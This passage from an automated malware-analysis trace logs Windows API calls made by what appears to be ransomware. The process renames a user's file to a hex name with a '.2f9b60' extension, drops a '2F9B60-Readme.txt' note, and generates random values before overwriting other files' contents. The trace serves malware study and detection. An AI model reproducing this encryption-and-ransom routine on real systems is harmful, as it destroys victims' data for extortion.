BaseAddress=0x20504810) returned 1 [0198.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.781] WriteFile (in: hFile=0x1494, lpBuffer=0x423885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a73f8b0, lpOverlapped=0x0 | out: lpBuffer=0x423885a0*, lpNumberOfBytesWritten=0x3a73f8b0*=0x3c00, lpOverlapped=0x0) returned 1 [0209.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423885a0) returned 1 [0209.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f578d0) returned 1 [0209.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86550 [0209.974] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0209.975] WriteFile (in: hFile=0x1494, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3a73f960, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x3a73f960*=0x12e, lpOverlapped=0x0) returned 1 [0215.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0215.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866d40 [0215.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e9d0 [0215.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e9d0) returned 1 [0215.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce61510 [0215.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e9d0 [0215.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e9a0 [0215.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e9a0) returned 1 [0215.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866d40) returned 1 [0215.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0215.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x79) returned 0x202a46e0 [0215.346] sprintf (in: _Dest=0x202a46e0, _Format="%c%c" | out: _Dest="66") returned 2 [0215.346] sprintf (in: _Dest=0x202a46e2, _Format="%c%c" | out: _Dest="b4") returned 2 [0215.346] sprintf (in: _Dest=0x202a46e4, _Format="%c%c" | out: _Dest="d1") returned 2 [0215.346] sprintf (in: _Dest=0x202a46e6, _Format="%c%c" | out: _Dest="8f") returned 2 [0215.346] sprintf (in: _Dest=0x202a46e8, _Format="%c%c" | out: _Dest="b6") returned 2 [0215.346] sprintf (in: _Dest=0x202a46ea, _Format="%c%c" | out: _Dest="d6") returned 2 [0215.346] sprintf (in: _Dest=0x202a46ec, _Format="%c%c" | out: _Dest="63") returned 2 [0215.346] sprintf (in: _Dest=0x202a46ee, _Format="%c%c" | out: _Dest="15") returned 2 [0215.346] sprintf (in: _Dest=0x202a46f0, _Format="%c%c" | out: _Dest="06") returned 2 [0215.346] sprintf (in: _Dest=0x202a46f2, _Format="%c%c" | out: _Dest="66") returned 2 [0215.346] sprintf (in: _Dest=0x202a46f4, _Format="%c%c" | out: _Dest="7c") returned 2 [0215.346] sprintf (in: _Dest=0x202a46f6, _Format="%c%c" | out: _Dest="9b") returned 2 [0215.346] sprintf (in: _Dest=0x202a46f8, _Format="%c%c" | out: _Dest="62") returned 2 [0215.346] sprintf (in: _Dest=0x202a46fa, _Format="%c%c" | out: _Dest="8d") returned 2 [0215.346] sprintf (in: _Dest=0x202a46fc, _Format="%c%c" | out: _Dest="3c") returned 2 [0215.346] sprintf (in: _Dest=0x202a46fe, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.346] sprintf (in: _Dest=0x202a4700, _Format="%c%c" | out: _Dest="6e") returned 2 [0215.346] sprintf (in: _Dest=0x202a4702, _Format="%c%c" | out: _Dest="4e") returned 2 [0215.346] sprintf (in: _Dest=0x202a4704, _Format="%c%c" | out: _Dest="f4") returned 2 [0215.346] sprintf (in: _Dest=0x202a4706, _Format="%c%c" | out: _Dest="46") returned 2 [0215.346] sprintf (in: _Dest=0x202a4708, _Format="%c%c" | out: _Dest="4e") returned 2 [0215.346] sprintf (in: _Dest=0x202a470a, _Format="%c%c" | out: _Dest="41") returned 2 [0215.346] sprintf (in: _Dest=0x202a470c, _Format="%c%c" | out: _Dest="ef") returned 2 [0215.346] sprintf (in: _Dest=0x202a470e, _Format="%c%c" | out: _Dest="df") returned 2 [0215.347] sprintf (in: _Dest=0x202a4710, _Format="%c%c" | out: _Dest="20") returned 2 [0215.347] sprintf (in: _Dest=0x202a4712, _Format="%c%c" | out: _Dest="bf") returned 2 [0215.347] sprintf (in: _Dest=0x202a4714, _Format="%c%c" | out: _Dest="9f") returned 2 [0215.347] sprintf (in: _Dest=0x202a4716, _Format="%c%c" | out: _Dest="d6") returned 2 [0215.347] sprintf (in: _Dest=0x202a4718, _Format="%c%c" | out: _Dest="5f") returned 2 [0215.347] sprintf (in: _Dest=0x202a471a, _Format="%c%c" | out: _Dest="fe") returned 2 [0215.347] sprintf (in: _Dest=0x202a471c, _Format="%c%c" | out: _Dest="0b") returned 2 [0215.347] sprintf (in: _Dest=0x202a471e, _Format="%c%c" | out: _Dest="0e") returned 2 [0215.347] sprintf (in: _Dest=0x202a4720, _Format="%c%c" | out: _Dest="c9") returned 2 [0215.347] sprintf (in: _Dest=0x202a4722, _Format="%c%c" | out: _Dest="4b") returned 2 [0215.347] sprintf (in: _Dest=0x202a4724, _Format="%c%c" | out: _Dest="51") returned 2 [0215.347] sprintf (in: _Dest=0x202a4726, _Format="%c%c" | out: _Dest="57") returned 2 [0215.347] sprintf (in: _Dest=0x202a4728, _Format="%c%c" | out: _Dest="3b") returned 2 [0215.347] sprintf (in: _Dest=0x202a472a, _Format="%c%c" | out: _Dest="ad") returned 2 [0215.347] sprintf (in: _Dest=0x202a472c, _Format="%c%c" | out: _Dest="f6") returned 2 [0215.347] sprintf (in: _Dest=0x202a472e, _Format="%c%c" | out: _Dest="d6") returned 2 [0215.347] sprintf (in: _Dest=0x202a4730, _Format="%c%c" | out: _Dest="ad") returned 2 [0215.347] sprintf (in: _Dest=0x202a4732, _Format="%c%c" | out: _Dest="59") returned 2 [0215.347] sprintf (in: _Dest=0x202a4734, _Format="%c%c" | out: _Dest="cc") returned 2 [0215.347] sprintf (in: _Dest=0x202a4736, _Format="%c%c" | out: _Dest="26") returned 2 [0215.347] sprintf (in: _Dest=0x202a4738, _Format="%c%c" | out: _Dest="ad") returned 2 [0215.347] sprintf (in: _Dest=0x202a473a, _Format="%c%c" | out: _Dest="be") returned 2 [0215.347] sprintf (in: _Dest=0x202a473c, _Format="%c%c" | out: _Dest="a8") returned 2 [0215.347] sprintf (in: _Dest=0x202a473e, _Format="%c%c" | out: _Dest="b8") returned 2 [0215.347] sprintf (in: _Dest=0x202a4740, _Format="%c%c" | out: _Dest="0e") returned 2 [0215.347] sprintf (in: _Dest=0x202a4742, _Format="%c%c" | out: _Dest="3e") returned 2 [0215.347] sprintf (in: _Dest=0x202a4744, _Format="%c%c" | out: _Dest="9a") returned 2 [0215.347] sprintf (in: _Dest=0x202a4746, _Format="%c%c" | out: _Dest="6c") returned 2 [0215.347] sprintf (in: _Dest=0x202a4748, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.348] sprintf (in: _Dest=0x202a474a, _Format="%c%c" | out: _Dest="6c") returned 2 [0215.348] sprintf (in: _Dest=0x202a474c, _Format="%c%c" | out: _Dest="03") returned 2 [0215.348] sprintf (in: _Dest=0x202a474e, _Format="%c%c" | out: _Dest="48") returned 2 [0215.348] sprintf (in: _Dest=0x202a4750, _Format="%c%c" | out: _Dest="d4") returned 2 [0215.348] sprintf (in: _Dest=0x202a4752, _Format="%c%c" | out: _Dest="d5") returned 2 [0215.348] sprintf (in: _Dest=0x202a4754, _Format="%c%c" | out: _Dest="20") returned 2 [0215.348] sprintf (in: _Dest=0x202a4756, _Format="%c%c" | out: _Dest="31") returned 2 [0215.348] RtlInitAnsiString (in: DestinationString=0x3a73f9d8, SourceString="66b4d18fb6d6631506667c9b628d3c5a6e4ef4464e41efdf20bf9fd65ffe0b0ec94b51573badf6d6ad59cc26adbea8b80e3e9a6c5b6c0348d4d52031" | out: DestinationString="66b4d18fb6d6631506667c9b628d3c5a6e4ef4464e41efdf20bf9fd65ffe0b0ec94b51573badf6d6ad59cc26adbea8b80e3e9a6c5b6c0348d4d52031") [0215.348] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a73f9a8, SourceString="66b4d18fb6d6631506667c9b628d3c5a6e4ef4464e41efdf20bf9fd65ffe0b0ec94b51573badf6d6ad59cc26adbea8b80e3e9a6c5b6c0348d4d52031", AllocateDestinationString=1 | out: DestinationString="66b4d18fb6d6631506667c9b628d3c5a6e4ef4464e41efdf20bf9fd65ffe0b0ec94b51573badf6d6ad59cc26adbea8b80e3e9a6c5b6c0348d4d52031") returned 0x0 [0215.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf2) returned 0x1b78e580 [0215.349] wcscat (in: _Dest=0x134aa0, _Source="66b4d18fb6d6631506667c9b628d3c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\66b4d18fb6d6631506667c9b628d3c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\66b4d18fb6d6631506667c9b628d3c" [0215.349] wcscat (in: _Dest=0x134aa0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\66b4d18fb6d6631506667c9b628d3c.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\66b4d18fb6d6631506667c9b628d3c.2f9b60" [0215.349] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\66b4d18fb6d6631506667c9b628d3c.2f9b60", NtPathName=0x3a73f980, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\66b4d18fb6d6631506667c9b628d3c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x176) returned 0x19f4a0 [0217.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x19f4a0) returned 1 [0217.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431aff30) returned 1 [0217.687] NtQueryInformationFile (in: FileHandle=0x1494, IoStatusBlock=0x3a73f9e8, FileInformation=0x3a73f9f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a73f9e8, FileInformation=0x3a73f9f8) returned 0x0 [0217.687] NtSetInformationFile (FileHandle=0x1494, IoStatusBlock=0x3a73f9e8, FileInformation=0x3a73f9f8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0220.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x134aa0) returned 1 [0220.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e580) returned 1 [0220.149] FlushFileBuffers (hFile=0x1494) returned 1 [0221.389] CloseHandle (hObject=0x1494) returned 1 [0223.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x132) returned 0x188ad0 [0223.007] wcscpy (in: _Dest=0x188ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0223.007] wcscat (in: _Dest=0x188ad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\2F9B60-Readme.txt" [0223.007] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\2f9b60-readme.txt")) returned 0xffffffff [0223.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x291c [0224.136] WriteFile (in: hFile=0x291c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3a73f8a0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3a73f8a0*=0xba9, lpOverlapped=0x0) returned 1 [0225.575] CloseHandle (hObject=0x291c) returned 1 [0226.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188ad0) returned 1 [0226.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133b80) returned 1 [0226.632] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.manifest", cAlternateFileName="")) returned 1 [0226.632] wcscmp (_String1="clickonce_bootstrap.exe.manifest", _String2=".") returned 1 [0226.632] wcscmp (_String1="clickonce_bootstrap.exe.manifest", _String2="..") returned 1 [0226.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14e) returned 0x133b80 [0226.633] wcscpy (in: _Dest=0x133b80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0226.633] wcscat (in: _Dest=0x133b80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0226.633] wcscat (in: _Dest=0x133b80, _Source="clickonce_bootstrap.exe.manifest" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" [0226.633] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest")) returned 0x2020 [0226.634] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest", dwFileAttributes=0x20) returned 1 [0238.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x29d4 [0238.350] GetFileSizeEx (in: hFile=0x29d4, lpFileSize=0x3a73f990 | out: lpFileSize=0x3a73f990*=13643) returned 1 [0238.350] SetFilePointerEx (in: hFile=0x29d4, liDistanceToMove=0x3547, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.350] ReadFile (in: hFile=0x29d4, lpBuffer=0x3a73f910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a73f958, lpOverlapped=0x0 | out: lpBuffer=0x3a73f910*, lpNumberOfBytesRead=0x3a73f958*=0x4, lpOverlapped=0x0) returned 1 [0238.432] SetFilePointerEx (in: hFile=0x29d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261af0 [0238.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263aa0 [0238.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d10 [0238.432] NtQuerySystemTime (in: CurrentTime=0x3a73f850 | out: CurrentTime=0x3a73f850*=132462178422442000) returned 0x0 [0238.432] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x7b9f783f [0238.432] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x38612651 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x7e7a382d [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x60ec1de0 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x75d434f0 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x3d9ebae4 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4563189f [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x26fdff9d [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x3ab6444b [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x5803ef53 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x5e57ffe6 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x5f778a5a [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x73f948d8 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4676c57a [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x5703a7a8 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x6c63f437 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4c02cd43 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4d4c040d [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x10a7b6cf [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x2a4f4ccc [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0xc5d3697 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x7a6d6d77 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x556afcdd [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x38f30a0b [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x59778712 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x2ec09ef4 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x3c7d3509 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0xba61d26 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x6c5e7f04 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4fe1dabc [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x3397e257 [0238.433] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x35864f1b [0238.434] ReadFile (in: hFile=0x29d4, lpBuffer=0x41e2e130, nNumberOfBytesToRead=0x354b, lpNumberOfBytesRead=0x3a73f840, lpOverlapped=0x0 | out: lpBuffer=0x41e2e130*, lpNumberOfBytesRead=0x3a73f840*=0x354b, lpOverlapped=0x0) returned 1 [0238.455] SetFilePointerEx (in: hFile=0x29d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.455] WriteFile (hFile=0x29d4, lpBuffer=0x41e2a520, nNumberOfBytesToWrite=0x354b, lpNumberOfBytesWritten=0x3a73f844, lpOverlapped=0x0) Thread: id = 2160 os_tid = 0x1550 [0140.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x202786b0 [0140.215] wcscpy (in: _Dest=0x202786b0, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" [0140.215] wcscat (in: _Dest=0x202786b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\" [0140.215] wcscat (in: _Dest=0x202786b0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*" [0140.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205022c0 [0140.216] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d670 [0140.216] wcscmp (_String1=".", _String2=".") returned 0 [0140.216] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.216] wcscmp (_String1="..", _String2=".") returned 1 [0140.216] wcscmp (_String1="..", _String2="..") returned 0 [0140.216] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0140.216] wcscmp (_String1="Windows6.1-KB2999226-x64.msu", _String2=".") returned 1 [0140.216] wcscmp (_String1="Windows6.1-KB2999226-x64.msu", _String2="..") returned 1 [0140.216] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, 